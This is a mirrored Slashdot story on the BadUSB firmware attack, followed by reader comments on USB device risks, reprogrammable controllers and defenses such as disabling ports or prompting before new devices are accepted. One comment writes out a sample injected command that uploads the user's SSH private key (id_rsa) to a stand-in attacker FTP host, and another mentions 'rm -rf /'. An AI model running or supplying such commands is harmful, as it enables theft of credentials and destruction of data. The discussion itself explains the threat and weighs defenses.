Slashdot Mirror


"BadUSB" Exploit Makes Devices Turn "Evil"

An anonymous reader writes with a snippet from Ars Technica that should make you (even more) skeptical about plugging in random USB drives, or allowing persons unknown physical access to your computer's USB ports: When creators of the state-sponsored Stuxnet worm used a USB stick to infect air-gapped computers inside Iran's heavily fortified Natanz nuclear facility, trust in the ubiquitous storage medium suffered a devastating blow. Now, white-hat hackers have devised a feat even more seminal—an exploit that transforms keyboards, Web cams, and other types of USB-connected devices into highly programmable attack platforms that can't be detected by today's defenses. Dubbed BadUSB, the hack reprograms embedded firmware to give USB devices new, covert capabilities. In a demonstration scheduled at next week's Black Hat security conference in Las Vegas, a USB drive, for instance, will take on the ability to act as a keyboard that surreptitiously types malicious commands into attached computers. A different drive will similarly be reprogrammed to act as a network card that causes connected computers to connect to malicious sites impersonating Google, Facebook or other trusted destinations. The presenters will demonstrate similar hacks that work against Android phones when attached to targeted computers. They say their technique will work on Web cams, keyboards, and most other types of USB-enabled devices.

205 comments

  1. Do I need to be concerned about this? by Anonymous Coward · · Score: 0

    Do I need to be concerned about this?

    1. Re:Do I need to be concerned about this? by Anonymous Coward · · Score: 0

      No

    2. Re:Do I need to be concerned about this? by tbuddy · · Score: 2

      nah. dunk your computer and USB device in holy water and it's good to go again.

    3. Re:Do I need to be concerned about this? by thieh · · Score: 4, Funny

      Nah, we are already screwed beyond help.

    4. Re:Do I need to be concerned about this? by Anonymous Coward · · Score: 2, Interesting

      Yes, the "white-hat hackers" are Karsten Nohl and his gang. That's the guy behind the GSM hack. If he wants to know the algorithm that a smart card uses for encryption, he removes layer by layer of the chip and reconstructs the algorithm from the circuits. Nohl does not kid around. If he says it can be hacked, it can.

    5. Re:Do I need to be concerned about this? by Penguinisto · · Score: 3, Interesting

      Depends.

      I once worked for a company that wrote web banking software. The laptops/desktops/etc of certain employees had a 'driver' that continually monitored the USB ports. If anything plugged into it that had storage on it but not the proper corporate auth key to connect as an approved storage device? It would automatically send an email to the IT department, immediately shut off the entire USB subsystem in the OS, and it stayed that way until the device was re-imaged (in many cases making the device completely useless). It also got you immediately perp-walked out of the building and freshly unemployed, unless you could immediately give them a reasonable (and provable) explanation as to why it happened.

      Now in this case, I suspect that if the bad stick presented itself to the OS as a keyboard/mouse/whatever, it may circumvent that (I say "may" because I don't know if it would be able to dump any non-keyboard/mouse-related data onto the machine w/o presenting itself as storage.)

      Either way, if you're that worried about it, then epoxy the USB ports shut (well, except on the phone for obvious reasons...)

      --
      Quo usque tandem abutere, Nimbus, patientia nostra?
    6. Re:Do I need to be concerned about this? by EvilSS · · Score: 4, Insightful

      Are you:
      * A bank?
      * A utility?
      * A large corporation?
      * A defense contractor?
      * A military?
      * A government?
      * A "whistlebower" (in the figurative sense, not someone who just blows a literal whistle)?
      * A journalist?
      * A civil rights/government abuse/environmental/economic activist?
      * Are you a member of an "anti-government" group or movement?
      * Are you Muslim?
      * Are you or have you ever been brown?
      * Now or will you in the future travel through a customs inspection area of any country?
      * Under active investigation by a law enforcement agency?
      * A rabble-rouser?
      * A person with opinions that are counter to those of your government?
      * A sentient artificial lifeform?

      If you answered yes to any of the above, then yes you need to be worried. If you did not, then no, you probably don't need to be worried.

      --
      I browse on +1 so AC's need not respond, I won't see it.
    7. Re:Do I need to be concerned about this? by beernutz · · Score: 1

      You could even to do the same on a phone if it was able to charge wirelessly.

      --
      (stolen from DaBum) I am dyslexia of borg - your ass will be laminated.
    8. Re:Do I need to be concerned about this? by Anonymous Coward · · Score: 4, Funny

      Negative, I am a meat popsicle.

    9. Re:Do I need to be concerned about this? by hankwang · · Score: 2

      "If anything plugged into it that had storage on it ... It also got you immediately perp-walked out of the building and freshly unemployed," Nice opportunity to get rid of a co-worker when he's away for a bathroom break...

    10. Re:Do I need to be concerned about this? by Anonymous Coward · · Score: 1

      So what I hear you saying is that since I'm a main stream media watching, large debt carrying, cheap beer drinking, non-airplane traveling tool, I don't need to worry? Thanks!

    11. Re:Do I need to be concerned about this? by Anonymous Coward · · Score: 0

      My last place solved the USB problem with epoxy resin...in the port.

      Much easier than writing software.

    12. Re:Do I need to be concerned about this? by phorm · · Score: 1

      I'd imagine that if they have security at that USB-device-verification level, they've also got plenty of cameras

    13. Re:Do I need to be concerned about this? by Anonymous Coward · · Score: 0

      You can leave the power lines to the USB just cut the traces on the data lines.

    14. Re:Do I need to be concerned about this? by fustakrakich · · Score: 1

      A USB device programmed to look like a keyboard is going to look like a keyboard to the machine. Maybe this might be redundant, but your best, or only recourse might be to learn how to sniff your network. Disabling plug and play so that you have to manually tell your computer what is being connected might work to an extent...

      --
      “He’s not deformed, he’s just drunk!”
    15. Re:Do I need to be concerned about this? by Anonymous Coward · · Score: 0

      That is the definition of badass.

    16. Re:Do I need to be concerned about this? by Anonymous Coward · · Score: 0

      Um, tasty.... (Now if THAT doesn't scare you, NOTHING will ! :)

    17. Re:Do I need to be concerned about this? by Burz · · Score: 1

      Thankfully, it is possible to secure USB in a less extreme way. An OS like Qubes that can configure devices for automatic reassignment to an unpriviliged domain (i.e. virtual machine) can protect the hypervisor, BIOS, etc. from incidental attachment of malicious USB devices.

      Currently, a Qubes user/admin can do this from the GUI on a per-USB-controller basis, but in future will be able to employ Xen PVUSB functionality to manage USB on a per-device basis.

    18. Re:Do I need to be concerned about this? by Anonymous Coward · · Score: 0

      I wish you guys wouldn't post AC so I could mod you.
      (Posting as AC so I can still mod!)

    19. Re: Do I need to be concerned about this? by Starport · · Score: 1

      I prolly fit the last category.... taken from how some other people see me...

    20. Re:Do I need to be concerned about this? by beastofburdon · · Score: 1

      I seriously doubt it would work against the Rubber Ducky.

    21. Re:Do I need to be concerned about this? by lsatenstein · · Score: 1

      Depends.

      I once worked for a company that wrote web banking software. The laptops/desktops/etc of certain employees had a 'driver' that continually monitored the USB ports. If anything plugged into it that had storage on it but not the proper corporate auth key to connect as an approved storage device? It would automatically send an email to the IT department, immediately shut off the entire USB subsystem in the OS, and it stayed that way until the device was re-imaged (in many cases making the device completely useless). It also got you immediately perp-walked out of the building and freshly unemployed, unless you could immediately give them a reasonable (and provable) explanation as to why it happened.

      Now in this case, I suspect that if the bad stick presented itself to the OS as a keyboard/mouse/whatever, it may circumvent that (I say "may" because I don't know if it would be able to dump any non-keyboard/mouse-related data onto the machine w/o presenting itself as storage.)

      Either way, if you're that worried about it, then epoxy the USB ports shut (well, except on the phone for obvious reasons...)

      Surprise, surprise, surprise, not all computer cases are locked. Had a case of user powering off the computer and rebooting with a live usb drive. Since it was standalone, the host system did not detect this action.

      Also had a case of an employee opening up the computer case, unplugging the drive and replugging it into his external USB hardware adapter (cost for adapter $35.00 at NewEgg.ca) Used his laptop to download stuff from that mpw external laptop drive to his laptop, and person could upload stuff too. No, he did not insert stuff on the drive, but we do know he dl'd stuff. t'il by chance an IT guy happened by.

      --
      Leslie Satenstein Montreal Quebec Canada
  2. USB 4.x to offer signed USB device signatures??? by Anonymous Coward · · Score: 5, Interesting

    Here comes the digitially signed / encrypted usb dongles for USB 4.x, where every device has a firmware signature encrypted within the device and part of the usb handshake will be to read the entire firmware to re-calc the signature to make sure it matches, with a 3rd comparison via the internet to a usb device registry.

    Then the criminals will figure out how to falsify the signature with the bad firmware anyway.

  3. and this is news why? by halfEvilTech · · Score: 1, Insightful

    I thought it was common sense not to plug in untrusted devices to your computer. Especially unknown thumb drives, unless you can use them in a read only device.

    1. Re:and this is news why? by halfEvilTech · · Score: 2

      and of course I re-read this and realize they meant also changing a webcam or keyboard to be malicious. Man I shouldn't post before my morning coffee.

    2. Re:and this is news why? by blueg3 · · Score: 3, Informative

      The whole point of this is that the malware reprograms the firmware of existing, trusted devices to make them malicious.

    3. Re:and this is news why? by Canth7 · · Score: 5, Insightful

      I thought it was common sense not to plug in untrusted devices to your computer. Especially unknown thumb drives, unless you can use them in a read only device.

      The problem at hand is that you can take a trustworthy device, plug it into an infected computer and then your trustworthy device becomes compromised and not easily detectably so, infecting your formerly clean PC. So far, no comments on mitigating procedures or OS specific circumstances. Most OSes will automatically load USB devices so in theory this could affect just about every OS whereby a compromised phone decides to become a keyboard and starts typing keystrokes and sending data to a 3rd party. Scary, at least in theory.

    4. Re:and this is news why? by NMBob · · Score: 4, Interesting

      Or they could already come programmed from a "trusted" factory. It's not like that hasn't happened before. Yikes!

    5. Re:and this is news why? by NJRoadfan · · Score: 3, Informative

      and of course I re-read this and realize they meant also changing a webcam or keyboard to be malicious. Man I shouldn't post before my morning coffee.

      Let them try reprogramming a Model M keyboard. There is one perk to legacy PS/2 ports, they are secure!

    6. Re:and this is news why? by Anonymous Coward · · Score: 2, Informative

      As far as I can tell from the article it's not "malware reprograms", it's "malicious third party with physicall acess to USB device reprograms".

      Quite a bit of difference.

    7. Re:and this is news why? by Anonymous Coward · · Score: 1

      Faking keystrokes on a PS/2 keyboard should be the same/similar to that of USB. If it wasn't, small adapters wouldn't be quite so ubiquitous.
      The only security you get by using PS/2 is through obscurity, which is hardly good security.

    8. Re:and this is news why? by janoc · · Score: 4, Insightful

      I would love to see malware that will reprogram a mask-programmed blob in a common throwaway hardware. Or a microcontroller in a webcam that doesn't even have the programming pins (typically some sort of ISP or JTAG) connected to anything USB accessible (or not even connected at all, at best to some test pads).

      A typical USB stick or a webcam don't have hardware to permit firmware upgrades, even though the silicon inside could be theoretically upgradable. Not to mention that the exploit would have to be written specifically for the target hardware - different processors, memory layout, USB interface, etc - all that would make it really hard to produce a generic malware. If you want to see what is involved in something like that, look at the article on hacking HDD controllers:
      http://spritesmods.com/?art=hd... And that is a harddrive, which are produced by only few manufacturers, have relatively standardized interfaces and controllers. Now imagine having to do that sort of reverse engineering on every type of harddrive in common use if you wanted to write a reasonably effective malware (e.g. a data stealing worm). It is much easier to exploit some Windows bug or use a phishing scam than this.

      So yes, this is potentially a threat, but panicking over your USB sticks or webcams going rogue on you is vastly overblown. This could be an issue for a very targeted attack where the benefits of compromising e.g. a keyboard of a high value target will outweigh the effort required, but not really anything else. And that assumes that the keyboard is actually able to be updated! It would be probably simpler to just send an operative in and install e.g. a keylogger ...

      Oh and they mention the "BadBios" story ... Nobody was ever able to confirm that apart from the original very confused researcher.

    9. Re:and this is news why? by Blaskowicz · · Score: 2

      The best security in this case is if there were no PS/2 keyboard connected before, then it won't be recognised until the computer is shut down or rebooted.
      If you use a Model M, you will probably even fry the PS/2 port - but an "evil" Model M would have a replacement micro-controller that wouldn't fry the port by drawing too much current, like keyboard from the 90s and 00s don't.

    10. Re:and this is news why? by cant_get_a_good_nick · · Score: 1

      My understanding of this.. read only only mitigates part of this.

      The simple part:

      So, you plug something in. It gets an enumerate request. It replies back "Howdy, i'm a USB mass storage device (a.k.a hard drive)".. Ok cool, i mount you read only. But then the stick says "Oh BTW, im also a keyboard". This is where you get hosed. Read only, disabled autoplay, doesn't help you as much as you want.

      The "keyboard" can then send keystrokes to your machine. There are probably some things you can do with this without raising suspicion.

      The next level:

      So you plug something in. Your device is evil, and it knows some bugs in some Host Controller firmware.

      The OS tries to enumerate the device. The evil device knows how to send packets that then pwn the host controller. It rejigs the firmware. This is now screwed. This is under the OS, under any device driver even. You are now pwned. Your host controller now can be used to lie about files coming from disk, or lie about keyboard, or siphon things off.

      All this before it even figures out that this is supposed to be a mass storage device, much less read only.

      This is wickedly clever.

    11. Re:and this is news why? by melstav · · Score: 2

      A typical USB stick or a webcam don't have hardware to permit firmware upgrades, even though the silicon inside could be theoretically upgradable.

      How uninformed you are!

      https://forums.hak5.org/index.php?/topic/8630-collection-of-production-tools-for-usb-devices/ is a discussion of "production tools" for USB flash drives.

      These tools are specific to the controller in the flashdrive (chipsbank, micov, etc) and allow you to do things like change what size the drive reports itself as, load files onto the thing and make it behave as a read-only flash drive, load files on and make it behave as a USB CD/DVD-ROM drive with a disk preloaded, make it behave as a single flashdrive with multiple partitions, make it come up on the USB bus as a compound device consisting of any combination of the above.

      My company uses these sorts of tools to distribute software on read-only flashdrives.

    12. Re:and this is news why? by melstav · · Score: 1

      Hell, even the controllers in SD Cards can be exploited to run arbitrary code - http://bunniefoo.com/bunnie/sd...

    13. Re:and this is news why? by Canth7 · · Score: 1

      I thought it was common sense not to plug in untrusted devices to your computer. Especially unknown thumb drives, unless you can use them in a read only device.

      The problem is that a trusted device becomes untrusted as soon as you plug it into a computer not 100% in your control. Bring a USB storage device with you to work? To a friend's house? To *shudder* your parent's computer? What prevents a USB storage device, especially a common model, from having it's firmware overwritten? It's all too easy to have malicious code that moves around as firmware, something that it seems isn't checked by typical AV software.

    14. Re:and this is news why? by ArcadeMan · · Score: 1

      And if the hackers are inside your house, you simply attack them with the Model M as a weapon.

    15. Re:and this is news why? by ArcadeMan · · Score: 1

      So what you're saying is, the malware looks like Kristanna Loken?

    16. Re:and this is news why? by Anonymous Coward · · Score: 0

      How about I place a logic board before the keyboard strokes are transmitted? I make it type whatever keys I want as soon as it's plugged in.

    17. Re:and this is news why? by Anonymous Coward · · Score: 0

      Perhaps consider ditching the coffee altogether? There was research published a while ago that showed people who depend on their morning coffee don't actually perform better than they would if they didn't require a morning coffee. The cup of coffee simply brings them up to the level they would otherwise function at if they weren't dependent on - that is, addicted to - their morning coffee.

    18. Re:and this is news why? by Anonymous Coward · · Score: 0

      Remember to take your -4 penalty for improvised weapons

    19. Re:and this is news why? by blueg3 · · Score: 1

      Doesn't require physical access. Firmware reprogramming is easily over-the-wire with many USB devices. It just requires logical access to the device. A computer running malware is a malicious third party with logical access to the USB device.

    20. Re:and this is news why? by Neil+Boekend · · Score: 1

      Some companies with far less scruples use those tools to do other stuff

      --
      Well, I might have a way, but it only works on a semi spherical planet in a vacuum.
    21. Re:and this is news why? by Neil+Boekend · · Score: 1

      Are there so few host controllers that this works? I assume the virus isn't going to have compromization protocols for hundreds of controllers.

      --
      Well, I might have a way, but it only works on a semi spherical planet in a vacuum.
    22. Re:and this is news why? by Neil+Boekend · · Score: 1

      Even if they can't compromise your Model M, most motherboards do not have PS2 ports. You would probably use a converter. Is that an ASIC or a cheap microcontroller?

      --
      Well, I might have a way, but it only works on a semi spherical planet in a vacuum.
    23. Re:and this is news why? by janoc · · Score: 1

      Yes? And how does that sort of tool help you install rogue backdoor? You can at best hide some files on the drive. Which you can pretty much do anyway, without any hardware hacking. It is not like you can convert the flash drive into a keylogger that will transmit captured data to NSA with it.

    24. Re:and this is news why? by melstav · · Score: 1

      The way those tools work is that they write a customized firmware image onto the controller. (or an EEPROM, or the start of the flash) This way, if you don't need the thing to impersonate a CDROM, that code doesn't get loaded onto the chip. Specifics about partition sizes, read-only settings, etc, get tacked onto the end of the appropriate image as a data block.

      If the chip manufacturer released a firmware update to address a bug in a previous release, the same tools can be used to install the firmware updates. You just have to replace the packaged images.

      But you don't HAVE to use the bundled firmware images. A little legwork (or disassembly of the bundled firmwares) will yield all you need to know to write your own firmware for the thing that does whatever you want it to. Frequently, like the MV6208, the controller is built around an 8051-derivative. ( ref: http://www.belinking.com/downl... ) knowing that, you can write your own custom firmware that enumerates as a second keyboard to try and run commands. Or whatever else you want to make it do.

  4. Leverage by PRMan · · Score: 3, Informative

    And everyone said that when Hardison would program USB sticks to type stuff and send all the data back to headquarters when they just plugged it in a computer that it was not real. It turns out he was just ahead of everyone else.

    --
    Peter predicted that you would "deliberately forget" creation 2000 years ago...
    1. Re:Leverage by jakimfett · · Score: 1

      $hat = 'tinfoil'

      Nah, Leverage is just an illegally de-classified documentary of a black ops crime fighting unit from the future, sent back to us by the rebels as a warning about what's coming next.

      --
      Bits of code, random ramblings: jakimfett.com
  5. Re:USB 4.x to offer signed USB device signatures?? by fustakrakich · · Score: 2

    ...with a 3rd comparison via the internet to a usb device registry.

    That makes the whole concept dead on arrival. Anything that requires a connection is no damn good, aside from a remote terminal, I suppose

    --
    “He’s not deformed, he’s just drunk!”
  6. How is this viable as an attack medium? by timrod · · Score: 1

    From the article, it seems like this attack is done by hardware-modifying a USB stick so that the firmware can be changed. While I get that this is a major problem for organizations that have a bunch of computers that could potentially have one of these things inserted into them, for most people it doesn't seem like a problem. The most I can see happening with this is someone putting bad firmware onto a USB device and selling them on EBay or similar as a means of stealing people's data, but I think that would be pretty easy to track - when a whole bunch of people who all bought things from one person suddenly notice that their credit card numbers were stolen, law enforcement will figure out the trick pretty quickly.

    1. Re:How is this viable as an attack medium? by gstoddart · · Score: 4, Interesting

      The most I can see happening with this is someone putting bad firmware onto a USB device and selling them on EBay or similar as a means of stealing people's data, but I think that would be pretty easy to track

      Really? Because the worst I can imagine is the NSA or another spy agency getting a shipment of devices from the manufacturer so that when you get it delivered new and in the box it's already compromised. Your brand new shiny Dell or HP would be compromised from the factory.

      Think I've not got enough layers of tinfoil? Google for "Cisco NSA routers".

      At this point, if it can be exploited by these clowns, it will be.

      law enforcement will figure out the trick pretty quickly

      Unless, of course, it's law enforcement who have done it.

      --
      Lost at C:>. Found at C.
    2. Re:How is this viable as an attack medium? by Anubis+IV · · Score: 3

      I've heard about a few cases (which is a fancy way of saying, "I once heard a third-hand story, but am too lazy to fact check myself at the moment") of attackers leaving thumb drives in parking lots outside the buildings of offices they wanted to hack, as if the drives had been dropped out there by accident after slipping out of a pocket. Employees of the company inevitably found the drives, some of them kept the drives for personal use, and some of those drives eventually got plugged into computers inside the office. With AutoPlay settings and the like, it used to be fairly trivial for malware to enter an office that way.

      Which is to say, if you find a USB drive in your company's parking lot, toss it in the trash if you can't find the original owner.

    3. Re:How is this viable as an attack medium? by blueg3 · · Score: 4, Interesting

      1. A ton of USB devices are actually implemented as general-purpose components with programmable firmware (attached to whatever support hardware, like a network card or a webcam, is necessary). So they're more common than you think.

      2. Smartphones are an excellent reprogrammable USB device that lots of individuals have.

      3. This is difficult enough to really engineer well that it is probably a bigger threat as a targeted attack against a big organization for now. Until someone does the engineering to make it easy to deploy widely. Then, it'll be a threat for everyone. Kind of like automated hacking of consumer-grade routers to modify the firmware to participate in an Internet-wide portscan. It's the Metasploit effect: it's not a big problem until someone makes it automated, then it is.

    4. Re:How is this viable as an attack medium? by Anonymous Coward · · Score: 1

      As I understand it, this can be done from software. IOW, a virus can silently and invisibly compromise a connected USB device for which a suitable firmware exists and can be deployed (downloaded from a command and control server after the intial virus infection has identified the USB devices attached to that system, or perhaps even patched on the fly, given enough common code accross devices )

      See the USB DFU or device firmware upgrade standard.
      Not all devices adhere to the standard as read, but they do behave predictably and discovering the methods by which DFU mode or it's equivalent is enabled is not difficult.

      Morbidly fascinating.

    5. Re:How is this viable as an attack medium? by Anonymous Coward · · Score: 5, Interesting

      Smartphones is the big problem. People think it is acceptable to just plug them in everywhere to "just charge them".

      I can go to a train-station or another reasonable public spot. Look for a power outlet and plug in my "charging station" that turn a smartphone into a malicious device.
      This will infect devices from a very diverse group that will travel around and connect their devices to whatever USB-port they can find.

    6. Re:How is this viable as an attack medium? by Anonymous Coward · · Score: 1

      http://int3.cc/products/usbcondoms

      Just cut the data cables in a normal usb cable. Leave the power cables intact. Job done.
      (won't work if the host device requires a data connection in order to charge)

    7. Re:How is this viable as an attack medium? by Richy_T · · Score: 1

      There is a further step worth taking. by adding a resistor (depends on device), the cable can signal it is a dumb charger, allowing a greater current draw if available.

    8. Re:How is this viable as an attack medium? by Anonymous Coward · · Score: 1

      I'm from a bigger company and we disable USB ports for exactly that reason. We had a rash of lost drives that when plugged in were USB composite devices. One part would be a mass storage device and the other would be a HID. After the driver was installed, they would try all sorts of tricks to get a command line or windows run box. They could then try opening websites or running programs on the USB drive that way.

    9. Re:How is this viable as an attack medium? by bware · · Score: 1

      I have heard of this first hand. Plug in a USB device to see who to return it to, and not long after, security (computer and otherwise) pay you a visit to personally demonstrate the computer security policies you were supposed to learn from the online video training.

    10. Re:How is this viable as an attack medium? by jakimfett · · Score: 2

      I'd be interested to see how well this works against linux workstations. Having the ability to arbitrarily send keyboard commands will only be effective if a) they're the correct key commands (eg, the shortcut to open the terminal client, or a web browser, which changes depending on your desktop environment) and you can actually *do* those commands. Eg, "rm -rf /" isn't going to work without the superuser password.

      That said...something like "cd ~/.ssh;ftp attack@myserver.hack;put id_rsa;exit" wouldn't necessarily need any sort of high level access...and getting ahold of someone's private key is akin to getting the holy grail, especially if you can do it without them realizing it.

      --
      Bits of code, random ramblings: jakimfett.com
    11. Re:How is this viable as an attack medium? by drinkypoo · · Score: 1

      Which is to say, if you find a USB drive in your company's parking lot, toss it in the trash if you can't find the original owner.

      Or I can connect it to a Linux VM and see what that has to say about it...

      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
    12. Re:How is this viable as an attack medium? by Anonymous Coward · · Score: 0

      Who needs the NSA, or needs to intercept shipments? I just turned over my mouse and my keyboard and saw "Product of China". It's a good thing that country has no history of launching hacking attacks or anything like that.

    13. Re:How is this viable as an attack medium? by Anonymous Coward · · Score: 0

      I've heard about a few cases (which is a fancy way of saying, "I once heard a third-hand story, but am too lazy to fact check myself at the moment") of attackers leaving thumb drives in parking lots outside the buildings of offices they wanted to hack, as if the drives had been dropped out there by accident after slipping out of a pocket

      Or this could be a malicious rumor spread by thumb drive manufacturers that are hoping to increase their sales. :-D

      How long does a the drive need to be out of your sight before it is untrustworthy?

    14. Re:How is this viable as an attack medium? by stephanruby · · Score: 1

      Which is to say, if you find a USB drive in your company's parking lot, toss it in the trash if you can't find the original owner.

      Actually, you should immediately tell the security people to look for suspicious usb thumb drives in the parking lot. And the next chance you get, you should hand the thumb drive to a person in IT who understands the potential threat of what you're giving him.

      Worst case scenario, it will just be a false alert.

    15. Re:How is this viable as an attack medium? by Anonymous Coward · · Score: 0

      People think it is acceptable to just plug them in everywhere to "just charge them".

      Because they think, quite reasonably, that simply plugging a smartphone into something shouldn't be an open invitation to rewrite its firmware. The failing here isn't the users.

    16. Re:How is this viable as an attack medium? by Anonymous Coward · · Score: 0

      this

  7. Oh think of the fun when drivers update firmware by silas_moeckel · · Score: 1, Troll

    Windows loves to install USB drivers for all sorts of things. A couple NSA letters later and MS is now sending NSA payloads. They do not even have to ever touch the hardware.

    Sure this is the case with any hardware and MS but you would assume a secure facility would lock it down. But USB now you have the sneaker net issues.

    --
    No sir I dont like it.
  8. Actually not all that hard.... by Anonymous Coward · · Score: 0

    Most keyboards and other such devices use PIC, or similar, USB microcontrollers (e.g. PIC18F14K50). If the developers didn't lock down the programability of the existing microcontroller they can easily be reprogrammed. Albit - usually not through the USB port - but thruogh other pins on the chip. That requires physical access to the keyboard to plant the malicious code. As long as the device uses the OS's HUD drivers - nothing needs to be changed/updated/detected on the host side.

    Now, to create a new keyboard, camera, drive, etc. that has malicious code built in from the git go... is, actually, rather trivial. And, again, so long as the devlopers stick to the HUD drivers - this is not much more than an afternoon project.

    In otherwords - been there - done that. Nothing to see here. Move along.

    Go pickup Microchips Low Pin Count USB Development KIT for around $100 from Mouser - you get a programmer and development board. Download the compilers and have at it.

    I think the reason no one reported this before is that everyone thought that someone alread did.

  9. Re:USB 4.x to offer signed USB device signatures?? by Anonymous Coward · · Score: 0

    Of course the 3rd comparison would/could only be done *when" or "if" the device is "online"...

    Perhaps something simple like a USB device checker - where any usb devices would be plugged in before they could be attached to a system that would confirm the device's firmware, signatures, etc...

  10. Simple by NotInHere · · Score: 2

    just ask the user whether they want that second keyboard, network card, or mouse attached. And a malicious DNS server is also not the thing that doesn't let me sleep at night -- https was designed for that.

    1. Re:Simple by stewsters · · Score: 5, Funny

      "Click OK to connect mouse"

      It leave a bit of a chicken and egg problem for normal users of systems without a keyboard built in.

    2. Re:Simple by robmv · · Score: 1

      Input this code I show you on screen with this virtual keyboard, and the OS filter everu other input event from that device that is not targeted to that keyboard, validate the input and accept or reject the device, annoying I know, but not impossible to protect

    3. Re:Simple by Anonymous Coward · · Score: 0

      So the NSA forces Google or someone like them to issue certificates in the name of "national security", or just tricks you into installing them yourself, some companies do that to their employees. Then your browser says "this is legit, no worries mate" and you might go "thanks bud, no worries then".
      There were fake certs for yahoo and google out there people were using, so it's not impossible, you just need to force an issuer to give them to you.

    4. Re:Simple by mythosaz · · Score: 1

      It's still chicken and egg. Even if you have a touchscreen, that screen is an input device too, you know.

    5. Re:Simple by Sanians · · Score: 1

      I think he meant "physical keyboard" when he said "virtual keyboard." In other words, if you don't already have an input device connected that you've approved, if the new device is a keyboard, the OS displays a code for you to type on that keyboard in order to verify that it is a real keyboard and not a phony device in a flash drive, and ignores other input from that device until the code is typed correctly. Similarly, for a mouse you could display some buttons on the screen and ask the user to click them, and ignore any other input from that device until it is able to complete that task successfully.

      It would be annoying, but once the first device is verified, all of the rest can just be "If you wish to allow this second mouse to work, click this OK button with your first mouse." ...and the annoyance of that first device could be reduced by letting the user configure certain USB ports to be the mouse and keyboard ports, thus automatically trusting any mouse or keyboard attached to them and perhaps providing greater security by denying the use of those ports for any other type of device in case the user's keyboard or mouse become compromised.

      Kind of the problem here is that USB is a "connect anything" port, but if you want to connect some storage you found in the parking lot, you really need a "connect storage" port. It'd be useful as hell if our operating systems made it possible to assign certain USB ports to certain functions. Even when not finding devices in a parking lot, it's quite convenient to be able to accept flash drives from people you should be able to trust without actually having to trust them. Of course, this working is dependent upon having an OS that isn't going to automatically use the device just because you attached it, whether "use" means "auto-run some executable files" or "accept typed commands from the device and execute them."

      When you think about it, automatically accepting typed commands from anything that claims to be a keyboard is a lot like how auto-run would automatically run executables from anything claiming to be a CD. In both cases the OS is allowing a new device to tell it what to do, assuming that the user's decision to connect that device is sufficient indication that the user wants to do whatever that device is going to tell the computer to do.

  11. Old attack by robmv · · Score: 4, Insightful

    This kind of attack is not new, the new part are the examples of generic devices with hacked firmware to do that. This can be solved easily requesting user autorization before activating any USB device type, for example, before telling the system that there is a new USB network device, ask the user for confirmation. The trick is with input devices, where the new device could be replacing a broken one (keyboard or mouse), the confirmation can be done requesting the user to type a code displayed on screen or using the mouse to use a on screen keyboard in order to accept the input device for general usage. The other problem is with devices permanently attached, assume that any attached device at boot time is trusted, If someone replaced your USB device when you weren't present other more awful things couls have been done.

    1. Re:Old attack by Anonymous Coward · · Score: 0

      So, with this in mind ...

      On linux, when 'udev' is probing for hardware identification post USB dev plugin, it is presumably 'reading' (running..?) that USB firmware, correct? Perhaps a module gets loaded from kernel, not from USB dev, and the device is now resident in /dev. Going beyond that, how would that 'firmware' be doing anything evil? Only way I see would be with ability to elevate itself out of udev process UID, to execute commands and communications. Wouldn't this require multiple software failures within udev, linux kernel, initrc, openrc, passwd, etc ... ?

    2. Re:Old attack by phantomfive · · Score: 1

      The other problem is with devices permanently attached, assume that any attached device at boot time is trusted, If someone replaced your USB device when you weren't present other more awful things couls have been done.

      Physical access is root access

      --
      "First they came for the slanderers and i said nothing."
  12. SD Cards too by Anonymous Coward · · Score: 0

    Don't forget how easy it is to program the little ARM processor on a WiFi SD card: http://haxit.blogspot.ch/2013/08/hacking-transcend-wifi-sd-cards.html

  13. Re:Oh think of the fun when drivers update firmwar by Anonymous Coward · · Score: 0

    I was wondering where the AntiMS bullshit was

  14. Minimal Alert by NotQuiteReal · · Score: 1

    Yet another annoyance, necessary in this "modern" world...

    While not a real solution at all, it should be easy for any OS to at least offer pop-up an approval when you plug in a USB device. E.g. "Do you want to connect this keyboard"? That would be a red flag if you didn't think it was a keyboard and give you a chance to deny it.

    Maybe skip the warning for pure storage devices - but warn for anything else. It might be disconcerting to have a warning for "Connect this video camera" when you were plugging in a keyboard.

    --
    This issue is a bit more complicated than you think.
    1. Re:Minimal Alert by amorsen · · Score: 1

      USB device drivers are not of sufficient quality to make that mitigation very viable. Just exploit the broken drivers instead; on most operating systems device drivers have the equivalent of root privileges.

      --
      Finally! A year of moderation! Ready for 2019?
    2. Re:Minimal Alert by Minwee · · Score: 1

      NOTICE: USB DEVICES CONNECTED
      The following devices have been connected to USB bus 5:
      Device 0, Device ID="0123:4567", Manufacturer="Harmless USB Devices, Inc", DeviceClass="Hub", DeviceProtocol="Full speed hub"
      Device 1, Device ID="0123:4567", Manufacturer="Harmless USB Devices, Inc", InterfaceClass="Mass Storage", InterfaceProtocol="Bulk Only"
      Device 2, Device ID="0000:0000", Manufacturer="What is this", InterfaceClass="Human Interface Device", InterfaceProtocol="Keyboard"
      Device 3, Device ID="0000:0000", Manufacturer="I don't even", InterfaceClass="Communications Device", InterfaceProtocol="AT-Commands", Interface="HSPA+ Mobile Broadband Modem"

      The information is already there if you know where to look for it. All that would be required would be to put it into a notification window that attracts a bit more attention. It wouldn't prevent this kind of attack -- that would require user consent for activating any new devices, and be bit challenging if that was your only functional keyboard -- but it would force naughty USB devices masquerading as harmless purveyors of porn^H^H^H^H useful business-related data to tip their hands when they try doing something they shouldn't.

  15. Superglue all USB slots by Ted+Stoner · · Score: 1

    A little dab 'll do ya ...

    1. Re:Superglue all USB slots by SydShamino · · Score: 1

      Except the ones for your keyboard and mouse, right? Except your keyboard broke, so just plug in this new one you got from Dell via NSAUSPS.

      --
      It doesn't hurt to be nice.
    2. Re:Superglue all USB slots by Minwee · · Score: 1

      Nah. Glue all of the USB ports up and only use safe, secure, wireless solutions like Bluetooth for your keyboard and mouse.

      That should solve all of your security problems in a single stroke.

    3. Re:Superglue all USB slots by Minwee · · Score: 1

      (I can't believe that I was able to type that with a straight face.)

  16. Safety first, kids... by blueshift_1 · · Score: 5, Funny

    Just another reason why you shouldn't stick foreign objects in your orifices...

    1. Re:Safety first, kids... by Nyder · · Score: 1

      Just another reason why you shouldn't stick foreign objects in your orifices...

      www.bad-dragon.com is okay though.

      --
      Be seeing you...
    2. Re:Safety first, kids... by gstoddart · · Score: 3, Funny

      "Just another reason why you shouldn't stick foreign objects in your orifices..."

      www.bad-dragon.com is okay though.

      Must .... not ... paste ... URL ... into ... browser

      Gak, that's so wrong, you sick bastard. ;-)

      --
      Lost at C:>. Found at C.
